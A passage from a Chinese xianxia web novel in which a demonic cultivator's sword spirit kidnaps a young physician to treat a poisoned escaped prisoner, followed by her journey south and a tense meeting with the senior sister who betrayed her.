剑灵撼刑看着孤竹京被烦的焦头烂额忍不住劝了声:‘‘孤竹京你先想想你自己,寻了几十载,若是真的放弃了雪鲛蛊,那你又怎么控制魔息,到时候又到处乱砍人,你还嫌你得罪的人不够多啊?有的时候我真的怕哪天一觉醒来我就被你扔器鼎炼化了。’’
‘‘虽然这女人就是个烫手山芋,但是雪鲛蛊还在啊,雪鲛蛊亦毒亦药,不如你渡点你的阎火给她,冰火中和一下.......’’
撼刑看着孤竹京沉默又提了一嘴。谁知道孤竹京突然就封住它的嘴巴,一下子吞下刚刚还没有说完的话。
撼刑:''''......''''真的是,谁又惹他了。
‘‘我给你个任务吧。’’正当剑灵悄咪咪腹诽,孤竹京又猝不及防走到剑灵面前。
撼刑:‘‘''......’’怎么有种不好的预感。
‘‘我听说鄄宗少主音医双学颇有造诣嗯叫...乙寻屏的,就经常出现西源坞的湖中画舫上,你去把他请过来吧,不说话我就当你答应了。’’
撼刑:‘‘''......’’我拒绝。
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正是夜黑风高,撼刑悄悄的飞上了画舫。
传闻西源坞画舫笙歌不断,日夜不休。撼刑忍不住好奇就多看了几眼,不过这看着也好想没有怎么有意思啊,不过都写字画画吟酸诗罢了,还不如跟在孤竹京后面看不惯谁就整死谁来的痛快。
它懒洋洋的靠在高处,就这样哼着小曲悠哉悠哉在这守了半夜,终于无意间看见一个白脸书生火急火燎的往楼梯上爬去,后面几个年纪轻轻的女人紧更在后,穷追不舍,嘴里不停的嚷嚷着要那个书生陪她们喝酒什么的。
剑灵倏地晃动剑身,等等,虽然这些都没有什么看头,但是最重要的是这些女人嘴上喊的是乙寻屏啊!
撼刑跟着主人干的恶霸行径多了去,这种抢人的事情更加是习已为然,剑灵想都没想直接带上缚灵绳无脑冲了上去,绕着那乙寻屏就是来回几十圈转,乙寻屏还没反应过来就被绳子绕的头晕目眩,灵力被封住又动弹不得。
湖上风狂吹,画舫里的围观者顿时闹的沸沸扬扬,船上乱作一团,人心难安。
‘‘夜黑风高下,一把鬼剑,居然强劫白面公子!面对众多修士还可以全身而退,销声匿迹。当真猖狂至极!’’
4. 有心计较无心知
当晚,剑灵就把乙寻屏拎回来。
‘‘你们是谁?!居然敢抓我,你们知道我是谁吗?’’乙寻屏被扔剑灵到地面,翻了一个声破口大骂。
孤竹京气定神闲走到他面前问:‘‘你就是乙寻屏?’’
‘‘既然知道我是谁,还不放开我?’’乙寻屏挣扎。
‘‘今日是我特意请你前来的,听闻你医术精湛,可否救一个人。’’孤竹京笑意不减,话中的请求似是一道命令,让人不容反驳。
乙寻屏嗤笑,‘‘这位道友,你就是用这样的方式求我救人吗?’’
‘‘嗯……这般把你带来其实是有些唐突,不如我派人前去你府内知会你家中的人可好?’’
乙寻屏看着孤竹京陷入了沉思,此人看着不怕他的身份,难道是救人为借口实际上是劫人绑票的?
不过本少主向来不缺这些,给他就是了,但是就看他有没有这个命拿了。
乙寻屏不为所动,‘‘如此最好,说把,你要多少钱?’’
''''千年玉珀够了吗?''''孤竹京语气闲散又随意。反正魔域最不缺的就是这些身外之物,为了保住雪鲛蛊母,医药费倒不是问题。
乙寻屏瞪着他,好你个虎口大开!一要就是稀世珍宝……
他脸色铁青的瞪着对方,罢了待救兵来了我要你给我跪下来喊我作爹!
孤竹京瞥了眼乙寻屏,目不转睛看着他眼眸还带着隐忍的怒气遂问:''''怎么嫌少?需要加价吗?''''
乙寻屏听着勉强笑了笑,眼神飘忽不定。‘‘没有没有,够了够了。’’
老子忍了,命还在你的手上我暂时答应你。
‘‘行,看看人吧’’孤竹京懒洋洋往内卧去,剑灵乖巧给人松绑,
‘‘你不是叫人去我府里的吗?你站住!’’乙寻屏生怕他反悔,急急忙忙的还是想让孤竹京叫人带话回去,不然那救兵都不知道往哪跑去救他。
孤竹京却是微微一顿,声音越发低沉阴冷,‘‘我其实就带了一把剑,我也只能砍下你一只手臂让它带回去?’’说着桌案上的撼刑激动不已,仿佛跃跃欲试。
乙寻屏抹了一把冷汗,有些惊悚的看着剑。不是你敢来真的啊?
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任舒映醒了好一会,正巧听见外面的对话,孤竹京这是绑了人要赎金才可以放人,心中大骂此人为财而来当真是不择手段。
可很快,孤竹京就带着一个纯白儒衫少年进来,少年长身玉立,玉簪束发,周围却不见得半分迂腐穷酸气,与那喜怒莫辨的孤竹京相比倒是让她感到放松和自然。
孤竹京走到她床边看见她已经靠在床沿上,语调冰冷又随意问:‘‘何时醒了?’’
‘‘方才.....’’她神色恹恹声音小的如同苍蝇,看起来无精打采不欲多说。乙寻屏则扫视二人,脑补一番后,开始同情起任舒映起来。
这匪徒定是看上这个美人的的容貌,但是又因为病容玉颜无光,所以无耐心照顾,便冷落于她。
‘‘这位是......?’’任舒映迟疑片刻又带着疑问看着孤竹京。
‘‘为你寻的医师,你过去看看她现在什么情况吧。’’孤竹京解释完用眼神示意乙寻屏看病情。
乙寻屏不动声色地给孤竹京记了一刀眼:‘‘.......’’
真是的,既是要他看病一点诚意诚意也没有不说,还敢用命令的语气使唤他,好歹他也是一城少主,等他回了府里,定要回来算账不可。
任舒映伸出手,但是却觑着喝水的孤竹京,因为她感觉孤竹京神色特别奇怪,平时他面不外露,表情又都邪气又诡异,让人不寒而栗。
但是他今日淡漠的脸庞好像被闷的有一丝奇怪的绯红,难道他喝酒了?任舒映眯着眼窥视孤竹京疑惑不解时,乙寻屏的话突然拉回了她的思绪。
‘‘姑娘,你是有十分严重的寒疾吗,经脉僵硬,血气不畅。’’乙寻屏面色严肃,看着她复询问道:‘‘你可是食用了什么特殊之物?寒疾久久才会未消。’’
任舒映当然知道怎么回事,她正要回答孤竹京骤然道:‘‘她从未吃过什么东西,倒是之前乱跑,被人下了冰葵。’’
孤竹京带着一丝危险的警告,任舒映闻言瞬间了然,他的言下之意就是不让她把雪鲛蛊的事情说出来,转头一想,她有些好奇但是他又是如何知道她中毒一事?
任舒映看着孤竹京走进,神色纠结而茫然。
孤竹京看出来她的困惑,随之接着道:‘‘今日寻了好几位医师问过了,难道他们说的冰葵你还看不出来?’’
乙寻屏满脸涨红,即刻反驳:‘‘自然看的出来,但这冰葵之毒只会在经脉流通,普通修者在自己封堵经脉,毒性怎么会蔓延到五脏,不应该会是这般......’’
孤竹京见怪不怪,‘‘她灵力低微,中毒也没有发觉,一直没有封堵经脉。’’
任舒映:‘‘.......’’好啊孤竹京!话给你说尽了。
任舒映一怒之下,深吸一口气,似做了一个重大的选择。
“孤竹京!其……其实我知道中毒了……都是我知道之后毒已经入了内脏,为时已晚了……”
任舒映声音越说越小,到后面说着说着又感觉还不如不说的为好。
孤竹京不禁笑出声:“你这跟没有说有区别么?”
任舒映:“……”怎么有种搬起石头砸自己的脚的感觉。
乙寻屏看着两个争来争去,突然发觉自己有种被孤立了,既而跳出来插了一嘴:“喂喂喂!我才是医师,你们难道不应该听医嘱吗?”
言落,孤竹京忽然跑去桌案倒了一杯水,一饮而尽,缓和少顷冲着乙寻屏道:“还没有说你呢,看了半天到底会治人吗?”
“她的病情太不稳定了,如果要治,需要与寒冰相克之物……”
乙寻屏站在任舒映面前,来来回回转了几圈,最后蹦跶回任舒映面前:
“我知道了,南夷有一药物叫“金炽莲”,它浴于火中才可以生存,其莲子可化解寒脉之症,虽然我还是觉得你身体中仍然又一直奇怪的症状在影响你,但是我一时还是寻找不到,不过“金炽莲”确实是最佳药物。”
任舒映看着乙寻屏道了谢,又问:“那何处有这个‘金炽莲’?”
说到这个,乙寻屏顿时沉默。
“金炽莲,是南夷特有,可解百毒,此物在南夷血壤才可以种植,一旦取出,药效最多三日,过时即化为灰烬。”
“所以我只能去南夷才可以得到此药了。”任舒映摊倒在床上,望着床帘神游天外,
去往南夷,大抵还要几十来日,说不定还没有到,哪天就死了也不是没有可能。
乙寻屏看着任舒映如此失落,忍不住安慰:
“你也不要太担心,若是那个人肯渡灵力给你,也可以维持一载左右。只是你的冰葵毒都还没有完全清楚,我还是建议你早日去南夷吧。”
说完,乙寻屏走向孤竹京,谁知道孤竹京坐在茶案旁边的椅子上面色潮红,剑眉倒竖,幽暗的眼眸暗潮汹涌,看起来像是吃了……春药。
乙寻屏脸色大变,出于医德他小心翼翼关心了一句:
“道友……你…没事吧?道友你要不要我给你看看?你好像……嗯呃呃……”
任舒映早就注意到孤竹京的异样,也也跟了过来。
孤竹京抓紧了拳头,薄唇紧抿,似乎是在隐忍不发,他抬起眼帘冷漠而警惕看着二人。
乙寻屏只与他保持了一个安全的距离,因为他觉得要是再靠近一点,他马上就可以人头落地了。
任舒映却没有多想,正想再靠近一步时,孤竹京起身带着撼刑剑一言不发的
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离开了客栈。
乙寻屏茫然看着任舒映,惊魂未定:“他这什么情况?”
任舒映垂头,心事重重:“我和他不熟,我也不知道。”
“不是,你和那个人既然不认识为什么他还找医师帮你?”
“……这个你就不要问了,我们是有利益关系,他才会帮我的。”
“好吧……刚刚他那个样子怪吓人的……不对,他什么样子都吓人。”
乙寻屏打了个战栗,对任舒映道:
“不早了,我先回去了啊,你好好休息,别在着凉就行,我先告辞。“
说罢,乙寻屏脚底抹油,跑得飞快。
————
孤竹京带着剑出了城郊外。
撼刑问:“你又镇不住魔息了?”
孤竹京靠着一颗槐树下,魔气源源不断在他身体中散发出来。,幽幽开口:“它最近出现的很频繁,我虽然把它封印在识海,但是他觉得这次魔息几乎快爆发出来。”
“魔气传我这里吧,单单是魔气就可以影响心神,何况你还是把它封印在自己识海……”
撼刑本来就是阴煞之物,它吸收多了虽然也会出现叛主,但是他这个不怕死的主人吸收的比它还多百倍,也不知道他还可以坚持多久,说不定哪天走在街市上突然魔化,四处杀人都是可能的。
孤竹京点头。
自从他入了修界,就有一个异于常人的能力,那就是阎火。此火威力巨大,强大到可以与大魔都足以畏惧,他不得已把阎火放入识海的与魔王残识相互抗衡。
作为代价,就是他会控制不了阎火,每当魔王残识想要吞噬他的识海,他全部未觉醒的力量会化为阎火,合力攻向识海。
这种杀敌一百自损三千的办法,让他必须要体会烈火焚身之苦,变得暴戾五常。
而他的识海魔气遍布,灵海浑浊不堪,阎火蔓延不熄。
但是他又一直靠着强大的意志力坚持到现在。
撼刑又想起雪鲛蛊,若是孤竹京身体又蛊母帮助,以寒冰抵抗阎火,或许真的可以让他控制好阎火。
可惜。
老天也不让他得到雪鲛蛊。
————
天幕渐渐翻起鱼肚白,撼刑吸收了一夜的魔气,孤竹京紊乱的阎火也稳定下来。
他回到客栈,任舒映急忙问孤竹京:“你昨晚去哪了?”
孤竹京沉默不语。
她贴近孤竹京,压低声音在他耳畔解释:“今天有一个在城郊外夜猎的修士发现四处魔气横生,恐怕是有大魔在附近,现在鄄宗已经派人加紧防护了。所以,你昨夜怎么了?”
任舒映蹙眉,那双秋水明眸带着忧虑和忐忑不安。如同千年珀玉的瞳孔中,还倒映着孤竹京平静的脸。
孤竹京垂眸端详任舒映久久未舒展的眉,忍不住字字顿音回答:
“不、在、郊、外。”
任舒映吐了一口气,回到塌上。
还好,还好。如果是他跑去郊外,又被夜猎的人看见,感觉她又要被牵连。
本来她就命不久矣,还急寻求药去,千万别出什么事才好。
孤竹京挑起剑眉,走到任舒映旁边冷不防问:
“怎么,怕我连累你吗?”
任舒映“……”你说呢。
她咽下口水,十分自然回答:
“没呢,只是担心一下你吧。”
孤竹京没有计较。
装腔作势他也不是看不出来,只是他暂时懒得去计较。
忽然门口传来一阵敲门声音,任舒映疑惑的前去开门。
不料居然是乙寻屏,他来就罢了,奇怪的是还背了一个包袱,看起来似是拖家带口,包袱沉淀淀的。
任舒映笑了笑,看着行囊颇为好奇问:
“……医师你这是要出远门吗?”
5. 一剑叩雪为无双
乙寻屏和善笑着:
“正是,我此行是想与你同去,想多了解一下外面的医术。”
任舒映十分欢迎:“那正好,我若是寒疾发作,你还可以及时帮我稳定症状。”
乙寻屏摇头笑意不减:‘‘医者仁心,我虽然医术不精,亦会尽力而为之。’’
乙寻屏往内探头,对着孤竹京喊了一声:“哎,道友,你昨夜怎么了,需要我给你看看吗?”
说着孤竹京脸色阴走出来,对乙寻屏视若无物:“任舒映,你不走我就先走了。”
乙寻屏看着孤竹京远去的身影,问她:“这个道友看起来有点不是很和善啊。”
任舒映点头赞同后提醒:“他一直都这样,你还是少招惹为妙。”
“这个自然,哦对了,一直还没有问过姑娘芳名?可否告知?”
“自然,叫我任舒映就好,方才那位叫孤竹京。”
乙寻屏念了一遍她的名字,随之答道:在下乃鄄宗音教派少主乙寻屏,也是个音修,若是有兴趣我可以教你学音器。”
“若是少主亲自传教,我或许会学的事半功倍。不过礼尚往来,我会挽剑花,到时候我也教你两招如何?”
乙寻屏爽快答应。
任舒映其实也喜欢吟诗弄琴的雅事,不过她自幼习剑,对此不过是霸王风月。
他们也算是结识下来。
经过一番收拾,刚出客栈门口,竟看见孤竹京孤身一人在楼下的面摊吃面。
任舒映若是没有看见这一幕,可能真的会以为他只会坐在高阁酒楼,饮琼浆玉液,吃山珍海味的富贵公子。
她提着包袱,顺着视线寻去。
孤竹京已经吃完了面,碗底余留汤水,正优雅的从袖子里面拿出一张帕子擦嘴。
任舒映:“……”这倒是他会干的。
“乙寻屏,你是离家出走么?”孤竹京冷不防问了一句。
任舒映身后的人一惊,才回答:
“这……没事,我来处理,到时候你们在门口外等下我,我很快的。”
任舒映还想问乙寻屏为什么不和府中人辞行,他却是急急忙忙说:“你们先走,我离开一下。”
任舒映一脸茫然:“你怎么知道的?”
孤竹京站起来,理了理衣袖,不紧不慢道:
“城门口挂着他的画像,找个路人问了一句,说是防止他们少主乱跑的。”
任舒映:“……”。好吧,看来是城主对乙寻屏管教严厉不允许他私自离开鄄城。
——
一炷香后,城外。
孤竹京对任舒映道:“还等?”
其实她也有点踌躇,毕竟乙寻屏是一城少主,若是出现什么意外,城主追究下来,又惹来麻烦不可。
“……确实我也觉得,乙寻屏好好待在这里挺好的…”任舒映犹豫的看着孤竹京仿佛在等他出个主意。
“……反正他出什么事,与我无关。”孤竹京搁下一句话。
“不过你万一又身体不适,他也可以帮你,而你只要顺手清理一下路边的小喽啰就好了。”
任舒映想起孤竹京昨夜的样子,忍不住说。
“我不需要任何人帮助,”孤竹京看着她接着说着:“若不是蛊母在你身上,我也不会在此耗了这么久。”
任舒映:“……”。
真是不近人情,油盐不进,反正她也不想管,孤竹京爱怎么样怎么样吧。
她顿时无话可说,两人又沉默了。
——
另一处,乙寻屏终于出来了,任舒映向他招手。
“唉?少主你只是……?”
任舒映不禁有些疑惑,乙寻屏眼眶微红,还有些肿……感觉是哭过?
“我没事啊,我爹放我出来了,他让我出去转转。”
乙寻屏除了这个异样之外,倒是和平常差不多嬉皮笑脸的。
任舒映看了一会乙寻屏,“好吧,那走吧。”
乙寻屏吐了一口气,乖巧跟上。
城门内站着城主和一位老者,他们二人的目光一直落在乙寻屏背影,
“城主,这一次真的让少主走了吗?”老者眯着眼睛,捋着白花花的胡子。
“贤师你亦知道他的脾性,这次就他去吧,让他知道在外面一哭二闹可没有在这里好使。”
南夷之路,需要沿一条江南下,御剑而行一日千里,也得花上三日。
商讨一番,乙寻屏虽然音、医兼修。但是基础御剑还是会,孤竹京也有撼刑剑,但是又出问题了。
孤竹京最为不解,看着任舒映欲言又止但还是没有说话。
乙寻屏也急了,“你剑呢?”
“我的剑它丢了……”
“在哪丢的?”
“不知道,或许是有人把我的剑封印起来了,剑灵也感知不到我。”
任舒映明面上这么说,但是她的剑在何处,稍微动动脑子,大差不差也还是可以猜到是在渺梦山。
她被带入狱前,她的剑就已经渺梦山收押在幽戒室,剑名“叩雪”,剑身莹白如玉,成色极佳,此剑锋刃锐利,寒光凛凛,且颇为轻盈挥动起来毫无压力。
她自从入了剑道,便没有更换过这把剑,她与“叩雪”犹如挚友,剑招已是运用起来得心应手,如鱼得水,剑心合一。
封印她的剑也是理之当然,一个剑修失去了剑,如折一翼,何况的她唯一用的剑。
虽然她苟活至今,但也不愿含冤遁逃四处流离,既有存活的机会她查清在渺梦山被污蔑一事,重渺梦山,寻回叩雪剑。
乙寻屏看着任舒映沉默不语,便以为是在为她丢失的剑感到惋惜。
确实,剑修失剑,如他们音修断琴,将心比心也不会好过,思来想去还是对她道:
“你也不必太过伤心,介时九骸壤古境开启我们去寻便是,那里何愁寻不到好剑。”
九骸壤是古神遗址,境内虽凶险异常,危机无数,但也有闻所未闻的奇珍异宝,从里面带出来的宝物,更加是价值连城,向来不缺修士前去探境。
任舒映别无他念,如今不过是一个逃狱囚犯,何来资格追寻更加高的志向。
“来,任姑娘,”乙寻屏忽然拉着任舒映手腕,颇为仗义道:“相信我的剑技,咱们共乘一剑,我也可以让你稳稳当当抵达南夷。”
‘‘任舒映’’孤竹京也乍然唤她。
任舒映望去,孤竹京走过来当着乙寻屏的面,毫无厘头把撼刑拿到她面前。
任舒映:‘‘?’’
乙寻屏:“?“
‘‘拿着,你用我的剑。’’
‘‘……什么意思?’’任舒映乖巧接过剑,但还是错愕地看着孤竹京。
‘‘你去南夷,但我不去,撼刑给你,它比乙寻屏有用。’’
‘‘哎,不是孤竹京你什么意思呢?’’话音刚落,乙寻屏暴怒。
他堂堂一城少主,在同龄人在音修无可比及,他还就看不惯孤竹京一副傲然于上的样子,不服气落口:‘‘孤竹京你来,你过来,比试比试,看看我没有你那又黑又丑得破剑又用。’’
孤竹京却话音骤然变冷,‘‘你是怎么知道我名字的?’’
‘‘这有什么的,名字不可见人吗?’’
‘‘你们让我解释一下,我知道你名字,所以我告诉他了。’’任舒映生怕他们打起来,‘‘我听得见你的剑灵说话,当时它叫你名字了我就知道了,’’
一直沉默的撼刑‘‘……干嘛看我啊,不是我也不知道这人怎么还听得见我说话啊?’’
孤竹京视线移到任舒映脸上,不冷
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不淡道:‘‘我倒是想不到你还可以听见。’’
‘‘我只知道你的名字,其他的,剑灵也没有说过了。’’
孤竹京这时才认真的审视她,极少人可以听见其他剑灵说话,一般可以与剑灵说活早已经是高阶御兽师,没想到居然还有野生御兽师,如此看来此女身份非同一般。
他那双凌厉而带着侵略性的眼眸衬映着轮廓分明的脸庞,更加惊心动魄,犹如一只蛰伏的毒蛇正观察着,思考是否要留下她的生命一般。
任舒映同时怯怯抬头与孤竹京对视,但在她心底不过也是伪装的畏惧罢了。
莞尔,孤竹京又开始莫名其妙露出诡异的浅笑,狭眸紧盯着她,缓缓开口:
‘‘撼刑,好好看着,人跑了,你也不用跟着我了。’’
说罢,孤竹京背道而去。
孤竹京离开后,一种怪异而紧绷的氛围才渐渐地消失。
乙寻屏瞅了一眼撼刑,但还是不禁张口:‘‘任舒映你在哪认识他的啊,感觉他太古怪了,像是学什么邪门歪道的。’’
剑灵突然动了,它语气拽的没边:‘‘学邪门歪道那怎么了,要不是他不跟你计较不然整个城都给你屠了。’’
不过乙寻屏听不见。
任舒映没有回答乙寻屏,看着手中全身同黑的剑尝试着与它沟通,‘‘……撼刑,你可以说说孤竹京他究竟是什么人吗?’’
‘‘我主人?诸恶窟都是他亲手剿灭的,我劝你好好苟这着,你有蛊母他还不会对你怎么样,要是他发起疯,整个修界就真的要疯了。’’
有这么恐怖吗?‘‘那……’’任舒映还想继续问,撼刑十分高冷的打断了,‘‘哎哎不要在我这里打听他,要想知道自己去问。’’
任舒映:‘‘……好吧。’’这两主仆,还真的一个性子。
乙寻屏一听这话就知道剑灵嘴巴撬不开,
‘‘哎呀那走吧,少管了。’’
----
一日后,两人一剑到达了一个山路。
一路下来,他们发现一直有源源不断的人却是在南上,又疑惑不解,索性寻个路人打听一番才知道,南夷已经出现了动乱。
‘‘你们是修士还好可以应对,据说啊是陪尾那关着修界的重犯逃狱,攻破了平捷关,在南夷四处作恶,我们也不过是普通人,那还敢呆在那啊,这不是一个个背井离乡,去外头躲着避难啊,天杀的恶犯啊!’’
任舒映:‘‘……’’
果然还是低看炼雪囚的人了,他们也不是省油的灯,不过数十日居然都已经打到南夷去了,而花姨他们不知道怎么样了。
‘‘没想到会是这样,’’乙寻屏看着逆行的人若有所思,‘‘啧,奇怪啊,陪尾牢,欸你说坚不可破怎么逃出来的啊……’’
目睹全部过程的任舒映:''''……''''
''''我们继续往前走吧,我刚刚问了一家酒栈就在不远处。''''任舒映咳了声道。
----
奔波一日,终于可以歇歇脚了。
二人疲惫进了酒栈,店家却把他们拦下来:‘‘两位客官,我们这里已经住满人了,你们要不另择一处吧。’’
乙寻屏又困又累已经是毫无耐心,听店家言下赶人之意,即刻大怒:‘‘这里荒郊野岭,莫非留人都为难?’’
‘‘这里已经被几派修界弟子包下,并且提过不容许我们再接客了,莫要为难我们啊。’’店家看着乙寻屏衣着不凡,又不敢两边为难,于是一面应付着乙寻屏,一面叫小厮传了几句话。
任舒映拉着乙寻屏,场面始终僵持不下。
‘‘店家让他们进来吧,夜深露重,在外也难寻落处,我们会腾一个房出来。’’
一道女子的话音已落,任舒映却犹遭雷劈,顿时惊谔在原地。
6. 旧雨新知仍师姐
任舒映抬头望阁楼二层上探去,方才说话的女子已经转首离开,她只来得及看见一个纤巧的倩影款款离开。
她的目光仍停留在空无一人的阁楼,不禁回想起一个熟悉的身影。
渐渐地与她记忆的渺梦山的师姐重合,想起她最后见师姐那一夜……
‘‘让她进来吧,夜深露重,不日就要押入炼雪囚,怕是更难以入寐了……’’任舒映依稀记得她在幽戒室受了雷刑,半昏半醒是师姐萧慕灵给她换了一间舒适的幽闭室,带给她带了疗伤的药。
‘‘任舒映,任姑娘?任…你怎么了?’’任舒映回过神来,她与乙寻屏四目相对,他正好奇的打量,‘‘你怎么了,认识楼上那个女人啊?’’
她面色平和的回答:‘‘没事,我认错人了,跟着店家走吧。’’
不过房内只有一张床,乙寻屏想都没想倒床就睡,任舒映也没有在意,因为心事重重又离开了客房。
阁楼下摆着酒桌,虽然已经是深夜,但也还有几位修士围在一桌,饮酒闲谈。
她自顾自找了一个距离他们不远不近的位置,一边唤小厮拿了壶茶一边默默偷听。
‘‘道友,你们这一路上可有看见陪尾逃狱重犯?’’
“这说来也奇怪,我们是中皋霄华剑宗,领命前来捉拿逃犯,马不停蹄连赶了好几日,好不容易找到逃犯的踪迹,哪知设了陷进前去围捕之时,那逃犯居然人间蒸发一般,太怪异了。”
“如此说来,你们也是白忙活一场了?”
“岂止白忙活,也不知我们大师兄怎么想的,不仅不把现在的情况传会霄华,还要与渺梦山的萧慕灵继续南下抓人。”
“梅山剑宗,渺梦山?”
“正是。”
“他们不是才被魔修端了老巢,不好好休养,居然跑出来除魔卫道。”
“我也不知道,这儿渺梦山的人都是些三瓜两枣,偏偏我们大师兄还对那个萧慕灵言听计从。”
“……莫不是被她的姿色迷的正事都忘了吧哈哈……”
“道友口下留情,我亦大师兄此次行事过于反常,但也不要被人听见了,难免少不了不必要的麻烦……”
任舒映听到这有了些念头,起身欲要离开,忽然一把雕有梅花纹的匕首缠着一封花笺从她面前飞驰而过,她瞬间反应过来,取出信封,余光扫过阁楼暗处。
展开信,唯有寥寥几字。
“后院一见。”
————
''''师姐,''''任舒映去了后院,果不其然萧慕灵正一人在后院等着她。
梅花匕首渺梦山弟子才有,看见萧慕灵亦是意料之中,
‘‘别来无恙。’’萧慕灵浅笑着移步过来。
两个人见面,她以为自己会因为萧慕灵诬陷她之事动怒,仇者相会,不是腥风血雨就是你死我活,可是她竟然完全没有一丝波动的情绪,反倒像是对手再遇,亦或者是可有可无的旧友,闲来无事的寒暄罢了。
‘‘我一直很好奇,你是如何逃出来的呢?’’
‘‘师姐不希望我出来吗?’’任舒映歪头反问。
‘‘希望,亦不希望。’’
‘‘师姐要把我押回去吗?’’
萧慕灵毫不迟疑的回答:‘‘你可以出来那是你的能力,此次我与你见面只有你我知晓,你随时可以走。’’
‘‘多谢师姐,’’任舒映沉默须臾还是问了一直压在她心底的一个问题,‘‘那冰葵毒……是不是你下的?’’
萧慕灵笑意更盛,云淡风轻的回答:‘‘是与不是,你的心中不是已经有了断定了吗?’’
任舒映不再说话,心中答案已经了然,只不过是她自己不肯相信罢了,萧慕灵的话下不过是在告诉她,放她走后,再无瓜葛。
那也好,日后刀剑相向她也不会心慈手软。
萧慕灵看着任舒映远行至消失再后院的角隅,她的笑容也开始变的阴冷而狰狞。
她不理解,任舒映看见她不生气吗?还宁可相信她?任舒映的大度在她看来,犹如嘲讽,可笑。
任舒映走远后,萧慕灵对着木门紧闭的后厨冷声道:‘‘出来吧,她早走了。’’
闻言,木门‘‘吱呀’’被打开,一个青衣男子从屋内踏出来。
‘‘柳邈,我只留她一命,若是再见我不会因为同门情谊给她留生路了。’’
‘‘多谢。’’柳邈心不在焉的回答后,亦心事重重离开。
萧慕灵内心更加复杂,虽然是她亲自举证任舒映入了牢狱,但是真正让任舒映再无翻身机会的还是她的好师兄,柳邈一面屡次与她和手陷害任舒映,一面又几次三番地护着他,任舒映若是知道真相,杀人诛心不过如此,这出好戏她倒是越来越期待了。
翌日一早,任舒映就拖着还未清醒地乙大少主火急火燎继续赶路。
乙寻屏却瘫倒在床,闹上大少爷脾气。
‘‘南夷若是被陪尾逃犯攻占那寻药之事不免棘手,我们得抓紧时间啊!’’任舒映忍无可忍,冲乙寻屏道:‘‘你若是还劳累赖这睡觉,我也不管你。’’
任舒映破门而出,她还在就不懂现在的大少爷了,才一日路程,竟比她一夜未眠还要累,索性让他打道回府,她还有毒在身,可没有这个闲心与这少爷游山玩水。
任舒映一向雷厉风行。
也独来独往惯了,如此也正和她意。
她带上孤竹京的剑,南下半日终于抵达南夷地界,让她无语的是她这副身体,不过短短三日,寒毒再次发作,她不得已只得寻了南夷边界的一个小村子修养。
这个村子叫方雨村,人烟稀少,土地贫瘠。
她强撑至日落,也没有找到可以借住的地方。无奈之下,她敲了一户门内泛着幽黄色灯光的泥胚房。
‘‘叩叩叩……’’
‘‘叩叩…’’
她连连敲了好几下,屋内还是无人回应,她倒吸口凉气,只好放弃另寻他处。
就在她转身离开没几步,门‘‘嘎吱’’一声,出乎意料的开了。
任舒映转回头一看,开门的似乎是一个农户,农户看衣着不修边幅,头发十分随意的收束着。
农户面色不解,好奇看着敲门的人道:‘‘你是何人?’’
农户看起来像一个大叔,一开口却是与他的样子完全不符,是少年的声音,低沉而浑厚。
任舒应抱着手臂,艰难绕回门口解释:‘‘我是赶路的,夜色已晚,不知可否借宿?’’
农户看着任舒映脸色苍白,话语间带着虚弱,思忖少顷道:‘‘行吧。’’
她颇为感激道了谢跟着进去,可当她到了院内反而与外面截然不同,看起来一个泥胚房和一个乱头粗服的主人,却把屋内打扫的纤尘不染,摆设井然有序。
任舒映忍不住多看了两眼那位又像大叔又像少年的农户。
农户把她引进一间看起来不常住的但也是干净整洁的房间道:‘‘你住这里吧,不过我半日没有打扫过了,你将就将就。’’
任舒映:‘‘好没事……’’。
很快农户自顾自离开了,任舒映不禁感叹,其实这个房间打扫的够整洁了,至少比起她在渺梦山的房间来说,嗯…差不多天差地别吧。哎,这农户真讲究。
任舒映一夜都在调息,中途想起来孤竹京的剑,她敲了敲剑,试探着问:‘‘喂,你家主人怎么回事,他失踪好几日了。’’
‘‘他有时候就是连我也不让跟着,反正他想起来就会来,急什么啊,’’
撼刑躺尸这么多天居然说活了!
不对,我就是随口一问啊,‘‘喂,我没有想让他来,我还巴不得见不到他,最最最好别来,’’
任舒映声明。
撼刑‘‘呵呵’’冷笑道:‘‘你见不到他,那就是真的完了。’’
‘‘为何?’’任舒映边搭话边把剑抱在床上,盘坐在剑旁边。
‘‘哎,你不懂他。’’撼刑长长叹息,没有说话。
任舒映回头又想想孤竹京,好像确实他一直都是孤高自持,感觉对于普通人而言是难以接触亦是攀附……嗯还难以沟通的人。
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念及此处,她接手孤竹京的剑到现在还没有仔细观察过剑,平时看着这剑身都是黑的,也没有见过哪种剑原料是黑的,如今凑近看,表面还有细细的红色裂纹,剑柄上空落落的。
‘‘我给你挂个剑穗,孤竹京应该不会介意的吧?你看你都没有剑穗,他把你养的一般啊。’’
她一直随身携带着陪尾天雪蚕丝制成的银白色剑穗,想来也是幸运在无妄海那日意外看见陪尾天雪蚕在树枝上吐丝,她听闻此蚕稀少,百年卧于泥底休眠,仅有月余时日钻出层层雪泥吐丝,此丝可承受巨大重量而难斩断。但是取之不易,取丝后需要及时保存,不然会直接融化为水,功亏一篑。
本来想着将这个剑穗系到自己的叩雪剑上。但是拿回剑恐怕都是遥遥无期了,不若就配在撼刑上吧。
撼刑‘‘……’’,说实话孤竹京压根就不会在乎本剑灵的颜值,路过的狗都要说一句丑,这个看起来高级。
挺喜欢的,那就接受吧。
她曾经也遇到过和孤竹京性格有点相似的人,沉默寡言,不近人情,救了他一命最后还可以不辞而别,而她因为救他还遭遇这个牢狱之灾,到如今沦为逃狱罪犯,四处求药维生。
若是与他再见面,她定然…
定然不会放过他。
把他拎到渺梦山和全部人当面说清楚,还要赔礼道歉。
————
任舒映想着想着就睡着了。
烛光已灭,夜光凛凛。一团黑压压的身形走到了任舒映床沿。
而在屋内另一处房间,睡觉的农户蓦然睁开眼睛,
农户轻手轻脚拿起了柜中多年未用的法阵器,默念了几句,小心翼翼往自己房外面走出去。
孤竹京在陇北鄄宗离开那日遇到魔域的一个手下寻找他。
魔修边境一直与一些修界小宗派时不时就有小摩擦,一会是占地,一会又是灵兽。
前几日都擦出火花,魔族一向听魔域主的,也是怕被孤竹京整治,一旦有点风吹草动就非得找孤竹京解决,即使他出门从来不带任何人,偏偏这些魔修养的魔兽还可以闻着味道寻来。
孤竹京向来厌烦这种通过和谈来维持什么和平之事,可他又是魔域老大也不能不管事,让这些小宗门蹬鼻子上脸,为了一劳永逸,他干脆整治到修界去了,血洗宗门,他惯用的手段罢了。
可是杀完了人,又开始索然无味,在魔域无所事事才想起来那剑和一个女人,想法说来就来,摸着黑也就寻过来了。
这一看眼前一黑。
这个女人抱着他的剑睡着了,才短短几日,这就收买我的剑了?
